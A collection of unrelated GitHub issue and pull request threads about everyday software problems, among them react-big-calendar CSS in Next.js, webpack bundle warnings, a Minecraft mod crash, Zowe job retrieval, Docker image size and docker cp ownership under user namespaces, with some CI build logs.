style is fail when use next.js

Do you want to request a feature or report a bug?
What's the current behavior?

What's the expected behavior?
http://jquense.github.io/react-big-calendar/examples/index.html

import React from 'react';
import { PropsWithChildren, ReactNode } from 'react';
import _styles from './MyBigCalendar.module.scss';
import BigCalendar from 'react-big-calendar'
import { moment } from '../../lib/my-moment';
import { Calendar, momentLocalizer } from 'react-big-calendar'

const localizer = momentLocalizer(moment);

const now = new Date()

const myEventsList = [
	{
		id: 0,
		title: 'All Day Event very long title',
		allDay: true,
		start: new Date(2015, 3, 0),
		end: new Date(2015, 3, 1),
	},
	{
		id: 1,
		title: 'Long Event',
		start: new Date(2015, 3, 7),
		end: new Date(2015, 3, 10),
	},

	{
		id: 2,
		title: 'DTS STARTS',
		start: new Date(2016, 2, 13, 0, 0, 0),
		end: new Date(2016, 2, 20, 0, 0, 0),
	},

	{
		id: 3,
		title: 'DTS ENDS',
		start: new Date(2016, 10, 6, 0, 0, 0),
		end: new Date(2016, 10, 13, 0, 0, 0),
	},

	{
		id: 4,
		title: 'Some Event',
		start: new Date(2015, 3, 9, 0, 0, 0),
		end: new Date(2015, 3, 10, 0, 0, 0),
	},
	{
		id: 5,
		title: 'Conference',
		start: new Date(2015, 3, 11),
		end: new Date(2015, 3, 13),
		desc: 'Big conference for important people',
	},
	{
		id: 6,
		title: 'Meeting',
		start: new Date(2015, 3, 12, 10, 30, 0, 0),
		end: new Date(2015, 3, 12, 12, 30, 0, 0),
		desc: 'Pre-meeting meeting, to prepare for the meeting',
	},
	{
		id: 7,
		title: 'Lunch',
		start: new Date(2015, 3, 12, 12, 0, 0, 0),
		end: new Date(2015, 3, 12, 13, 0, 0, 0),
		desc: 'Power lunch',
	},
	{
		id: 8,
		title: 'Meeting',
		start: new Date(2015, 3, 12, 14, 0, 0, 0),
		end: new Date(2015, 3, 12, 15, 0, 0, 0),
	},
	{
		id: 9,
		title: 'Happy Hour',
		start: new Date(2015, 3, 12, 17, 0, 0, 0),
		end: new Date(2015, 3, 12, 17, 30, 0, 0),
		desc: 'Most important meal of the day',
	},
	{
		id: 10,
		title: 'Dinner',
		start: new Date(2015, 3, 12, 20, 0, 0, 0),
		end: new Date(2015, 3, 12, 21, 0, 0, 0),
	},
	{
		id: 11,
		title: 'Birthday Party',
		start: new Date(2015, 3, 13, 7, 0, 0),
		end: new Date(2015, 3, 13, 10, 30, 0),
	},
	{
		id: 12,
		title: 'Late Night Event',
		start: new Date(2015, 3, 17, 19, 30, 0),
		end: new Date(2015, 3, 18, 2, 0, 0),
	},
	{
		id: 12.5,
		title: 'Late Same Night Event',
		start: new Date(2015, 3, 17, 19, 30, 0),
		end: new Date(2015, 3, 17, 23, 30, 0),
	},
	{
		id: 13,
		title: 'Multi-day Event',
		start: new Date(2015, 3, 20, 19, 30, 0),
		end: new Date(2015, 3, 22, 2, 0, 0),
	},
	{
		id: 14,
		title: 'Today',
		start: new Date(new Date().setHours(new Date().getHours() - 3)),
		end: new Date(new Date().setHours(new Date().getHours() + 3)),
	},
	{
		id: 15,
		title: 'Point in Time Event',
		start: now,
		end: now,
	},
	{
		id: 16,
		title: 'Video Record',
		start: new Date(2015, 3, 14, 15, 30, 0),
		end: new Date(2015, 3, 14, 19, 0, 0),
	},
	{
		id: 17,
		title: 'Dutch Song Producing',
		start: new Date(2015, 3, 14, 16, 30, 0),
		end: new Date(2015, 3, 14, 20, 0, 0),
	},
	{
		id: 18,
		title: 'Itaewon Halloween Meeting',
		start: new Date(2015, 3, 14, 16, 30, 0),
		end: new Date(2015, 3, 14, 17, 30, 0),
	},
	{
		id: 19,
		title: 'Online Coding Test',
		start: new Date(2015, 3, 14, 17, 30, 0),
		end: new Date(2015, 3, 14, 20, 30, 0),
	},
	{
		id: 20,
		title: 'An overlapped Event',
		start: new Date(2015, 3, 14, 17, 0, 0),
		end: new Date(2015, 3, 14, 18, 30, 0),
	},
	{
		id: 21,
		title: 'Phone Interview',
		start: new Date(2015, 3, 14, 17, 0, 0),
		end: new Date(2015, 3, 14, 18, 30, 0),
	},
	{
		id: 22,
		title: 'Cooking Class',
		start: new Date(2015, 3, 14, 17, 30, 0),
		end: new Date(2015, 3, 14, 19, 0, 0),
	},
	{
		id: 23,
		title: 'Go to the gym',
		start: new Date(2015, 3, 14, 18, 30, 0),
		end: new Date(2015, 3, 14, 20, 0, 0),
	},
]

export default function MyBigCalendar({
	children,
	...prop
}: PropsWithChildren<{}>)
{
	return <>
		<Calendar
			localizer={localizer}
			events={myEventsList}
			startAccessor="start"
			endAccessor="end"
			style={{ height: 500 }}
		/>
	</>
}

I faced the same problem and solved with code below
import 'react-big-calendar/lib/css/react-big-calendar.css';
http://jquense.github.io/react-big-calendar/examples/index.html#intro

Styles can be found at: react-big-calendar/lib/css/react-big-calendar.css, and should be included on the page with the > calendar component. Also make sure that your calendar's container element has a height, or the calendar won't be visible > (see why below).

If you are using nextjs you should create a  pages/_app.tsx:
https://nextjs.org/docs/basic-features/typescript#custom-app
and then import react-big-calendar.css
_app.tsx
import type { AppProps } from 'next/app';
import 'react-big-calendar/lib/css/react-big-calendar.css';

function MyApp({ Component, pageProps }: AppProps) {
  return <Component {...pageProps} />
}

If you are using nextjs you should create a pages/_app.tsx:
https://nextjs.org/docs/basic-features/typescript#custom-app
and then import react-big-calendar.css
_app.tsx
import type { AppProps } from 'next/app';
import 'react-big-calendar/lib/css/react-big-calendar.css';

function MyApp({ Component, pageProps }: AppProps) {
  return <Component {...pageProps} />
}

just fyi, in latest version of next.js you can just put it inside the custom component .js file

my calender style also not properly working in production build of next js


Add lock

Lock is a lock library to provide exclusive execution of otherwise
concurrent code.
See also: https://github.com/malkusch/lock

Are there other libraries in this space?

I'm not aware of another library which provides synchronization through different backends.
If you search on packagist you'd find some implementations for a specific backend, e.g. this  https://github.com/ronnylt/redlock-php which implements only "Redlock" and only for ext-redis or search for "semaphore" to find specific Semaphore implementations. I failed to find something similar to the TransactionalMutex, but that's maybe because users are not so aware that their code should be prepared for failing transactions.

Thanks, I've added this.


Attempting to create crops for Prudentium, Tertium, Imperium, and Supremium Essences will crash the game on boot

Description
Attempting to create custom crops for T2-T5 Essences will crash the game on boot; I suspect it's caused when Customization tries to create a new mysticalagriculture:tier_essence, but sees that one already exists and just doesn't know what to do.
Worth mentioning as well; crops for Insanium and Creative essences have produced no issues, likely due to them being Agradditions items, instead of Agriculture ones.
To Reproduce

Add T2-T5 crops using Customization's configs
Attempt to launch the game

Expected behavior
Expected behaviour is that MC will create seeds for the essences, similar to what already exists for Inferium.
Screenshots / Scripts / Logs
Included are 5 crash reports; while I doubt there is much variation between them, it might provide some insight.
Also attached the jsons I used for the crops.
Crops.zip
Crash_Reports.zip
Versions

Minecraft: 1.16.5
Forge: 36.1.2
Cucumber: 4.1.9
Mystical Agriculture: 4.1.7
Mystical Customization: 2.1.3

Even though I despise the idea of 'supremium seeds', I guess I'll add a special case for this.


v5 breaking on "extract-text-webpack-plugin"

greenkeeper just notified me the v5 was breaking my build.
See, for the same code:

With v4: https://travis-ci.org/INTECH-RGBH/homie-dashboard/jobs/188885694#L400
With v5:  https://travis-ci.org/INTECH-RGBH/homie-dashboard/jobs/189207153#L404

It only fails with vbuild production releases. vbuild --dev builds correctly

webpack 2 rc.3 introduces performance check, some of your bundles are way too big:
This can impact web performance.
Assets:
  static/fontawesome-webfont.svg (444 kB)
  client.90bc0cc4.js (1.79 MB)

Check out https://webpack.js.org/configuration/performance/ for this
Currently you can disable it by:
export default {
  mergeConfig: {
    performance: {hints: false}
  }
}

I was not expecting a warning to actually exit with a non-0 status code. Anyway it works now, thanks!

@egoist the client.js is way too big, indeed. After checking out the content of the file (built for production with vbuild, I see process.env.NODE_ENV is not replaced, so the bundle is not optimized. Although it works with the template. I have no idea what's going on.

ah weird, no doubt it's set correctly https://github.com/egoist/vbuild/blob/master/lib/webpack/config.prod.js#L11

I know, it's weird.

I use sao INTECH-RGBH/homie-dashboard foo --install to download it, will be faster than git clone 😎

seems the vue-grid-layout contains inline sourcemaps, I don't know why webpack didn't remove it

why vue-grid-layout contains the eval thing 😂

I think they had to change the devtool for umd build https://github.com/jbaysolutions/vue-grid-layout/blob/master/webpack.config.js#L57

Oh, awesome, thanks for the finding! What tool did you use to generate the tree? Might be helpful to avoid this kind of non-related-to-vbuild issues. 😒

https://github.com/th0r/webpack-bundle-analyzer


set gdefault causes find/replace to skip words

Not sure if this is intended behavior but after enabling gdefault find/replace operations started skipping words if multiple matches exist in the same line. It will basically just try to replace the first instance of the word instead of every occurrence.
See gif below for example:

In this example I was trying to find and replace the word set with the word get for demo purposes. I used gc and selected n for each match.
I tested on two different machines with different dotfiles.
Can anyone confirm this issue?

If you use the 'g' flag while gdefault has been set, this effectively reverts the behaviour and does only replace the first occurance per line.

Oh ok thanks for clarifying that.


Feat: Incorporate SDM in CDK and add publish workflow

Release Notes

New Features

Yoinked source-declarative-manifest from the monorepo
Introduced a new GitHub Actions workflow for building and publishing source-declarative-manifest Docker images.
Added new connectors to the connector testing workflow.

Enhancements

Expanded dependency management with the explicit addition of rapidfuzz (required to build SDM image).

/autofix


Unable to retreive JOB by jobname using RSE profile

Development environment used

Z Open Editor version: 4.5.1
Editor Platform

[X] Visual Studio Code
[ ] Red Hat CodeReady Workspaces
[ ] Eclipse Che
[ ] Standalone Theia

Editor Platform Version: Visual Studio Code 1.94.2
Operating System: macOS Sequoia
Java Version : >java -version
openjdk version "21.0.4" 2024-07-16 LTS
IBM Semeru Runtime Open Edition <IP_ADDRESS> (build 21.0.4+7-LTS)
Eclipse OpenJ9 VM <IP_ADDRESS> (build openj9-0.46.0, JRE 21 Mac OS X aarch64-64-Bit 20240716_229 (JIT enabled, AOT enabled)
OpenJ9   - 1a6f6128aa
OMR      - 840a9adba
JCL      - 7d844187b25 based on jdk-21.0.4+7)
[X] Related to RSE API?

RSE API Plugin version: ?
Zowe CLI version: ?
Node.js version: ?
Zowe Explorer: 2.18.0

Logs attached yes
Zowe Explorer.log
Z Open Editor.log

Problem Description
Error message:
Retrieving response from zowe.GetJobs Error: Rest API failure with HTTP(S) status 500
Detailed steps for reproducing the problem:

Submit a job
Click on the popup at the bottom right corner specifying the jobname
get the error saying it can't retreive the job

Observed behavior

Retrieving response from zowe.GetJobs Error: Rest API failure with HTTP(S) status 500

Expected behavior

List the job on the JOBS tab. If I select another filter like all the jobs I'm the owner, with Prefix:* and Status:*, it's working as expected: I get all my jobs.

I did have a look to the swagger documentation of the RSEAPI server:
the request in error made by the RSE plugin is this one:
/api/v1/jobs?owner=*&jobid=JOB06683
but I can't see in the swagger document it's possible to do it. On this path, it's only possible to put the jobId in a header named Included-Attributes. But I've tried it, with no result.
I've tried this pass, which is working:
/api/v1/jobs/%2A/JOB06683

Here is the RSEAPI server I'm using: it seems to be in version 1.1.5 - OpenAPI 3

Fixed in 5.0.0


Error opening dashboard with minikube cluster

On a minikube cluster (1.17.0) i cannot open the dashboard with the "Open Dashboard" menu selection from the Kubernetes Extension for vscode since version 1.2.3 and above. I have this message / error :
Something went wrong when ensuring the Kubernetes API Proxy output stream existed
It work fine with extension version 1.2.2... Any ideas ?
Thanks

Hi @mploquin , thanks for opening this. From version 1.2.3 we bundled the extension so i guess this error depends from that. We'll fix it asap.

@lstocchi It looks like we use a file to figure out when the kubectl proxy for the dashboard is ready.  The filepath is based on __dirname, which might get trampled by webpack.  I am not sure why having the temp file in the wrong place would matter... but I guess it could...?!


Set-output command is deprecated

Hello,
The set-output command is deprecated and will be disabled soon. Please upgrade to using Environment Files. For more information see: https://github.blog/changelog/2022-10-11-github-actions-deprecating-save-state-and-set-output-commands/
Can you please update your GitHub Action please?

@genarocolonel Thanks for your bug report. I fixed this in https://github.com/rickstaa/action-contains-tag/releases/tag/v1.2.6.

Fixed in https://github.com/rickstaa/action-contains-tag/releases/tag/v1.2.6.


bulk-decaffeinate check throws error

> bulk-decaffeinate check

TypeError: Cannot read property 'split' of null
    at getTrackedFiles$ (/Users/dave/n/lib/node_modules/bulk-decaffeinate/dist/bulk-decaffeinate.js:977:19)
    at tryCatch (/Users/dave/n/lib/node_modules/bulk-decaffeinate/node_modules/regenerator-runtime/runtime.js:65:40)
    at Generator.invoke [as _invoke] (/Users/dave/n/lib/node_modules/bulk-decaffeinate/node_modules/regenerator-runtime/runtime.js:303:22)
    at Generator.prototype.(anonymous function) [as next] (/Users/dave/n/lib/node_modules/bulk-decaffeinate/node_modules/regenerator-runtime/runtime.js:117:21)
    at tryCatch (/Users/dave/n/lib/node_modules/bulk-decaffeinate/node_modules/regenerator-runtime/runtime.js:65:40)
    at invoke (/Users/dave/n/lib/node_modules/bulk-decaffeinate/node_modules/regenerator-runtime/runtime.js:155:20)
    at /Users/dave/n/lib/node_modules/bulk-decaffeinate/node_modules/regenerator-runtime/runtime.js:165:13
    at <anonymous>
    at process._tickCallback (internal/process/next_tick.js:169:7)

Tried on Node.js 4, 6, 7 and 8, received the same error. MacOS 10.12.3.

Thanks for reporting! It looks like it's trying to run git ls-files and getting null as the output. Make sure you have git installed on your system and you're running bulk-decaffeinate from within a git repo.
If you're trying to run bulk-decaffeinate check outside of a git repo, let me know your use case and I can probably make it work. The file discovery approach ignores untracked files, which is why there's a git dependency even for check, but I could probably have it skip that step if it's not a git repo. You won't be able to run convert, though (without additional work), since a core part of convert is that it generates commits.
Regardless, the error should be better here.

Ah cool. I was using it from within a git repo but I hadn't commited the coffee files to the repo yet. Ended up just using decaffeinate on its own and it worked fine. Thanks!


#3446 Remove internal browser and options

Keeping browser service for now to a) minimize changes and b) in case we get internal Edge or Webkit at some point.

👍


Update connect-to-azure-api-management.md

Added information for Feature Pack 2 documentation - could not upload the new images so I am attaching them to this pull request.

:warning: Validation status: warnings

File
Status
Preview URL
Details

biztalk/core/connect-to-azure-api-management.md
:warning:Warning
View
Details

biztalk/core/connect-to-azure-api-management.md

Line 48: [Warning] Invalid file link:(~/core/media/publish-to-api-management-option.png).
Line 51: [Warning] Invalid file link:(~/core/media/API-Management-Publish-Window.png).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Dacpac deploy page shows "already exsting database error" even when database is not present

Azure Data Studio Version: 1.25
Dacpac ext 1.6 (not updated)

Steps to Reproduce:

Use dacfx wizard to deploy a Dacpac
Select a dacpac , then select new DB flow
add a name for DB which is not present in database
already existing database error keeps showing up even when the name is unique - unexpected

Workaround : It does not block the deployment so user can go through the deployment even after the error
Update : Looks like a regression but dacpac extension is not updated this release.
Dacpac 1.6 Core 1.24 - doesnt repro
Dacpac 1.6 Core 1.25 - repros
Image for ref :

Bringing to Dec after confirming on regression

@Charles-Gagnon  this is postponed so not urgent but can you please let us know on below.
I debugged into this and it seems to be related to a recent validation call change in core on input box and base componnent. Do you know if we need to change the way we call validation from extensions.

You shouldn't be calling validate from extensions typically. They're supposed to validate every time the text changes.

Not calling validate - passing the validation function only. That has to be from extension right?
here is the code - would you be able to take a look (okay if post release)
https://github.com/microsoft/azuredatastudio/blob/0c82024cf36d8e2f8887cc2d4bbdf3181dc85103/extensions/dacpac/src/wizard/api/dacFxConfigPage.ts#L76

That should be fine. Is this function not being called when you update the text (delete a character or whatever)?

So the function is called and returns correctly - but seems like the value is not being respected and the error shows always (as in image above).

only repros when the "New Database" radio button is selected after the dacpac is chosen. Doesn't happen if "New Database" is chosen before the file is chosen, so this probably has something to do with the database name getting set when the file location is selected


Why does this require your resolve role?

This was unexpected to me and doesn't seem like a hard dependency. Or am I missing something?

you are right! it actually does not need this anymore. The reason why I have added it is because I have tested it on my pihole, which was acting as a dns resolver for itself and did not always work properly. I will have to remove it. Thank you very much for letting me know. I did not even think that someone except of me will use it lol


Added tests for DropDownList and ListBox extensions

Issue #453
This is only a part of the tests. There is more to come.
@dougbu

I'm pretty sure we have a fair number of tests for the <select> tag helper. Do they cover any HTML helper-applicable scenarios that you haven't included here? (I'm thinking a fair number of the <select> tests will deal with static <option>s and other things the HTML helpers don't do.)

:watch:

@dougbu, Some of the complex cases we discussed are already extensively covered in HtmlHelperSelectTest. So I've added only tests relevant to testing the extension methods that were not tested before.

:up: :date:

already extensively covered in HtmlHelperSelectTest

Do HtmlHelperDropDownListExtensionsTest and HtmlHelperListBoxExtensionsTest test only extension methods? Does HtmlHelperSelectTest test just methods implemented directly in HtmlHelper and HtmlHelper<T>? If not, should split things up in that way or for example change HtmlHelperSelectTest to always call the longest overloads (the HtmlHelper and HtmlHelper<T> methods). (Definitely don't want test classes named BlahExtensionsTest testing non-extension methods. But adding lots of blah: null arguments in HtmlHelperSelectTest seems less important / urgent.)

Do HtmlHelperDropDownListExtensionsTest and HtmlHelperListBoxExtensionsTest test only extension methods? Does HtmlHelperSelectTest test just methods implemented directly in HtmlHelper and HtmlHelper?

Yes and Yes. They are already split in the way you suggested.

:watch:

:up: :date:

:shipit: after fixing bits mentioned above.


Switch to go 1.23

What type of PR is this?
/kind cleanup
What this PR does / why we need it:
Use go 1.23 to build this project.
Which issue(s) this PR fixes:

None
Special notes for your reviewer:
None
Does this PR introduce a user-facing change?

None

/hold
needs latest release-utils.

/unhold

@kubernetes-sigs/release-engineering PTAL


Sound Stuttering and Cursor Problem in RollerCoaster Tycoon (1.08.187)

I tried every possible setting in cnc-ddraw, but the sound just awful: wheezing, interrupted, etc. The mouse cursor also disappears if you start a new game and right click. Can this be fixed somehow?
When i start the game without cnc-ddraw,, there are no problems with sound and cursor, but the picture becomes black and white (!).
My system: Windows 7 x64, GeForce GTX 1050 Ti (474.11)

I may have sound+cursor issues fixed, here's a test build:
cnc-ddraw_RollerCoasterTycoon_<IP_ADDRESS>.zip
But there are still some other issues, it doesn't run smooth all the time and changing the resolution breaks the game and you have to restart it

Perfect! Sound works fine now, thanks.
Pressing the right button now also does not cause the cursor to disappear and the camera moves. Hooray! But now the cursor jumps around the screen in a strange way when I move the field of view (in the original game, the right button just moved the camera, not the cursor).

Ah sorry, I didn't notice it was wrong.
Here's a build that restores the original behavior (this may not work in windowed mode though...):
cnc-ddraw_RollerCoasterTycoon_<IP_ADDRESS>.zip

Awesome! Yes, now everything works just perfect! Windowed mode is not needed, I always play in full screen mode.
How can I thank you? I'm from Russia, but I'm sure I can send you some money somehow.

Awesome! Yes, now everything works just perfect! Windowed mode is not needed, I always play in full screen mode.

nice 👍

How can I thank you? I'm from Russia, but I'm sure I can send you some money somehow.

You don't have to send me anything, it's all good! Thanks for the offer though!


Table not showing when indented

Table is not showing using  if there is any indentation in the content, se example below:
## Prereq
The following requirements must be met outside this Terraform code in advance.

1. Created a new resource group..
2. Created a new AAD group using naming convention..
3. Created a new AAD group using naming convention..
4. Created a separate storage account..
5. Created a new app registration..

  |Permission | Type | Granted Through|
  |--|--|--|
  |User.Read | Delegated | Admin consent|
  | User.ReadBasic.All |Delegated| Admin consent|
  |User.Read.All|Delegated| Admin consent|
  |Directory.Read.Alll|Delegated| Admin consent|
  |Directory.AccessAsUser.All|Delegated| Admin consent|
  |User.Invite.All|Application| Admin consent|
  |Directory.Read.All|Application| Admin consent|
  |User.Read.All|Application| Admin consent|
  - Granted permissions User.Invite.All and GroupMember.ReadWrite.All. Admin consent has been granted

6. Create a new app registration..
7. Created the key vault..
8. Created secrets..

I cannot reproduce your issue in the develop branch. For me the table is rendered inside the list.
Probably there were some fixed in the markdown parser.


Check behaviour of super types

As with the works_lab super type, some supertypes may not have a non-exhaustive list of subtypes. Subtypes which are not mapped may or may not be true, therefore the super type cannot be definitively be mapped to false.
Supertypes should be true or null except for exhaustive lists (e.g. cough) or where there is a general attribute (e.g. oxygen_therapy where a general oxygen_therapy attribute is present).
For e.g. oxygen_therapy:
[visit.treatment_oxygen_therapy]
    combinedType = "any"
    fields = [
      { field = "overall_oxygen_cmoccur", values = { 1 = true, 0 = false } }, # A general field
      { field = "can_oxy_ther", values = { 1 = true} },             # subtypes which have their own attributes
      { field = "overall_invasive_proccur", values = { 1 = true } },
      { field = "inv_vent", values = { 1 = true } },
      { field = "overall_noninvasive_proccur", values = { 1 = true } },
      { field = "non_inv_vent", values = { 1 = true } },
      { field = "overall_extracorp_prtrt", values = { 1 = true } },
    ]

[visit.treatment_invasive_ventilation]
    combinedType = "any"
    fields = [
      { field = "overall_invasive_proccur", values = { 1 = true, 0 = false } },
      { field = "inv_vent", values = { 1 = true, 0 = false } },
    ]

Something else - how do you reconcile different start dates for attributes - observation table - that form a supertype?
example:
start_date = { field = "myalgia_cestdat_v2" } - 'muscle pain'
start_date = { field = "jointpain_cestdat_v2" } - 'joint pain'
what would be the start date for the supertype? - one of the two above? a combinedType = "all", a combinedType = "firstNonNull"?

A combinedType = “min" should work to pick the earlier date.
On 19 Oct 2023, at 23:59, Everlyn Kamau @.***> wrote:
Something else - how do you reconcile different start dates for attributes - observation table - that form a supertype?
example:
start_date = { field = "myalgia_cestdat_v2" } - 'muscle pain'
start_date = { field = "jointpain_cestdat_v2" } - 'joint pain'
what would be the start date for the supertype? - one of the two above? a combinedType = "all", a combinedType = "firstNonNull"?
—
Reply to this email directly, view it on GitHubhttps://github.com/globaldothealth/isaric/issues/190#issuecomment-1771815678, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AAAPJSID7RKRAZFCCELI32TYAGWG5AVCNFSM6AAAAAA5S3LJ66VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTONZRHAYTKNRXHA.
You are receiving this because you are subscribed to this thread.Message ID: @.***>

super!

Workstream discontinued, closing as wontfix


Add a development guide

Description
Changes proposed in this pull request:

Added a development guide
Updated READMEs for applications with proper variables.

Related issue(s)
See also #14
It is a new PR with changes from https://github.com/kyma-project/rafter/pull/23

/test pre-rafter-minio-az-gateway

/test pre-rafter-minio-az-gateway-migration


possible to enable fullscreen and build the app(warping the html in) ?

Just try out all the examples, looks really cool, I would going on porting my three.js contents into it and try to build an IOS app.

I'm not sure what you mean by "warping the HTML in" -- can you explain, or have an example?
Also, are you trying to go fullscreen via requestFullscreen? (I'm not sure if that works in either of the browsers currently)

@jsantell Thank you for respond. Let me explain in detail.
what I want is basically like:
Enabling fully client side and fullscreen capability with WebARonARKit.
I do try document.documentElement.webkitRequestFullscreen() onWebARonARKit app, seems didn't work tho.

This is an issue with WebARonARKit -- I've filed an issue in that repo https://github.com/google-ar/WebARonARKit/issues/27
Thanks for reporting!


inter_channels of Non_Local

Why is the inter_channels in Non_local module 1? Isn't it supposed to be in_channels / 2 according to the original implementation?
code

Yes, you are right. But I found there is no performance gain if setting to be in_channels/2.


Add space and time complexities

Add space and time complexities of various algorithms.
Closes https://github.com/sr6033/dataStructure-Algorithms/issues/8

Created a .rst file.
If you merge this, you can later open a new issue to add more algorithms to it.

How do I create a wiki page and to it? Help needed.

Do one thing. Add the complexities at the last of readme in a beautiful format.


Use non-default namespace for CDI chart hooks

Adds namespace hooks for CRD upgrades and removals
Replaces default namespace usage with said namespaces

Yes, this is still something to be investigated. I prefer smaller PRs addressing only a single thing in order to make the testing and review processes easier though.


replace dead links

Fixes #30523

/assign @jlbutler

/lgtm

Preview of updated page:
https://deploy-preview-30554--kubernetes-io-main-staging.netlify.app/docs/concepts/storage/storage-classes
/lgtm
/approve


Bump dependency bounds

The package still builds and passes tests with these changes. With this, cabal outdated indicates all dependencies are up to date.

Pushed as revision 1.


fix: Fixes #2464 Replace git use for finding project root. Dedicated dockerignore with .git/ for 277MB image

[X] You added a brief description of the PR, e.g.:

followed these instructions https://stackoverflow.com/a/57774684/3208553 to create a custom ./docker/substrate_builder.Dockerfile.dockerignore that is dedicated to ./docker/substrate_builder.Dockerfile with fallback to ./.dockerignore

checked current disk usage:

$ du -hc --max-depth=1 .[^.]* * | grep [MG]
217M	.git/objects
218M	.git
16K	        .github/ISSUE_TEMPLATE
15G	        bin/node-template
4.6M	bin/node
5.4M	bin
7.6M	client/executor
1.2M	client/network
14M	        client
1.2M	frame/contracts
3.3M	frame/support
13M	        frame
4.0K	        HEADER-GPL3
36K	        LICENSE-GPL3
3.9M	primitives
4.0K	        README.md
2.8M	zombienet/0001-basic-warp-sync
2.8M	zombienet

added contents of .dockerignore to ./docker/substrate_builder.Dockerfile.dockerignore,
then added extra folders like .git/ to it too

used a different approach to obtaining the PROJECT_ROOT that didn't involve using git command based on this stackoverflow suggestion https://stackoverflow.com/a/57774684/3208553

built the image

cd docker
./build.sh

inspect the size of the image

$ docker images

parity/substrate   latest    31c200b06ab8   15 minutes ago   277MB
parity/substrate   v3.0.0    31c200b06ab8   15 minutes ago   277MB

$ docker run --rm -it parity/substrate substrate --version
substrate 3.0.0-dev-unknown

$ docker run --rm -it parity/substrate subkey --version
subkey 2.0.2

$ docker run --rm -it parity/substrate node-template --version
node-template 4.0.0-dev-unknown

$ docker run --rm -it parity/substrate chain-spec-builder --help
<it worked and output help stuff>

[X] You mentioned a related issue if this PR related to it, e.g. Fixes #228 or Related #1337.
Replaces https://github.com/ltfschoen/substrate/pull/1
Includes code from approved PR https://github.com/paritytech/substrate/pull/13072
[X] You asked any particular reviewers to review. If you aren't sure, start with GH suggestions.
@bkchr @ggwpez @NukeManDan
[X] Your PR adheres the style guide

In particular, mind the maximal line length.
There is no commented code checked in unless necessary.
Any panickers have a proof or removed.

Note: In addition to this PR that uses Ubuntu, I also tried using Alpine Linux instead of Ubuntu, but i could only reduce it to 236MB instead of 277MB, and i could only get it to work if i disabled the ldd ... command because there are some issues with the Alpine libraries that are beyond me. so that couldn't be considered until that's resolved. i've included steps i took here in the PR with the changes i made so far incase that is of interest https://github.com/ltfschoen/substrate/pull/2

Thanks @ltfschoen!


Make test_framework available for users when creating scenarios

This changes two important things about how scenarios are written:

Scenario files must be in a directory next to test_framework
Scenario files must have a main() function, instead of (or in addition to) the __name__ == "__main__" logic:

example:
def main():
    ConnectDag().main()

Projects
When a user creates a project, they will get a scenarios/ directory which includes our default scenarios like miner_std.py as well as a complete copy of test_framework. They are welcome to edit the framework, the code in that directory is actually deployed.
Running Scenarios
When executing warnet run <path> this PR bundles up the scenario file, commander.py and the entire test_framework directory into a .pyz archive which is compressed, base64 encoded, and added to a volume via an initContainer that is deployed along with a vanilla, unmodified image of python:3.12-slim.
Side effects
The grossest thing about this PR in my opinion is that all the scenarios we use only for tests have to be moved as well, so they are in a directory with test_framework. To deal with that, I adjusted the "exclude" logic in copy_scenario_defaults() to filter by regex and then exclude testscenario_*.py.
TODO

[ ] add a test that calls warnet init on an empty directory, runs a network and scenario from there to fully test the user flow (reccomend reviewers do this!)

The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

Conflicts
Reviewers, this pull request conflicts with the following ones:

#616 (Kubeconfig Step Thru by mplsgrant)
#614 (swap out kubectl by mplsgrant)
#612 (Add --debug option to run scenarios for faster development by pinheadmz)
#598 (Add cmd for creating user kubeconfigs (cont. from #545) by josibake)

If you consider this pull request important, please also help to review the conflicting pull requests. Ideally, start with the one that should be merged first.

LGTM. I changed the test_framework and I checked that this change was reflected the next time I ran a scenario. Will be very useful!


Fix copy chown settings to not default to real root

Fixes: #20402
This corrects docker cp behavior when user namespaces are enabled.
Instead of chown'ing copied-in files to real root (0,0), the code
queries for the remapped root uid & gid and sets the chown option
properly.
Docker-DCO-1.1-Signed-off-by: Phil Estes<EMAIL_ADDRESS>(github: estesp)

Job: Docker-PRs-Win2Lin FAILED:

---
aemon/archive.go | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)
[docker] $ sh -xe C:\Users\Jenkins\AppData\Local\Temp\hudson6899166928102543035.sh
+ set +x
INFO: Started at Thu Feb 18 15:57:17 CUT 2016. Script version 4-Jan-2016 15:19 PST
Build step 'Execute shell' marked build as failure
Performing Post build task...
Could not match :Build timed out  : False
Logical operation result is FALSE
Skipping script  : cd c:\scripts
sh timeout-post-build.sh

END OF POST BUILD TASK 	: 0
[PostBuildScript] - Execution post build scripts.
[docker] $ sh -xe C:\Users\Jenkins\AppData\Local\Temp\hudson5187157544736649608.sh
+ set +x

---

Can you add a test?

@cpuguy83 yup..was my plan, but being at a conference slowed me down :) Just updated as I had wanted a test which wasn't userns specific, so this test works in both CI flows.

Job: Docker-PRs-WoW-TP4 FAILED:

---
	      56	docker-1.11.0-dev.exe.md5
  0%
100%
	    New File  		      88	docker-1.11.0-dev.exe.sha256
  0%
100%
	    New File  		  27.1 m	docker.exe
  0.0%
  3.6%
  7.3%
 11.0%
 14.7%
 18.3%
 22.0%
 25.7%
 29.4%
 33.1%
 36.7%
 40.4%
 44.1%
 47.8%
 51.4%
 55.1%
 58.8%
 62.5%
 66.2%
 69.8%
 73.5%
 77.2%
 80.9%
 84.6%
 88.2%
 91.9%
 95.6%
 99.3%
100%

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         4         4         0         0         0         0
   Bytes :   54.37 m   54.37 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00

   Speed :           802981183 Bytes/sec.
   Speed :           45946.951 MegaBytes/min.
   Ended : Thursday, February 18, 2016 7:30:24 PM

+ ec=0
+ set +x
INFO: Linking the built binary to /d/CI/CI-74838
---

Job: Docker-PRs-Win2Lin FAILED:

---
d trip times in milli-seconds:
    Minimum = 0ms, Maximum = 4ms, Average = 2ms
C:\Users\Jenkins\AppData\Local\Temp\hudson4825217460058692545.sh: line 227: [: : integer expression expected
ERROR: Failed with exitcode 1 at Thu Feb 18 19:43:55 CUT 2016.
Build step 'Execute shell' marked build as failure
Performing Post build task...
Could not match :Build timed out  : False
Logical operation result is FALSE
Skipping script  : cd c:\scripts
sh timeout-post-build.sh

END OF POST BUILD TASK 	: 0
[PostBuildScript] - Execution post build scripts.
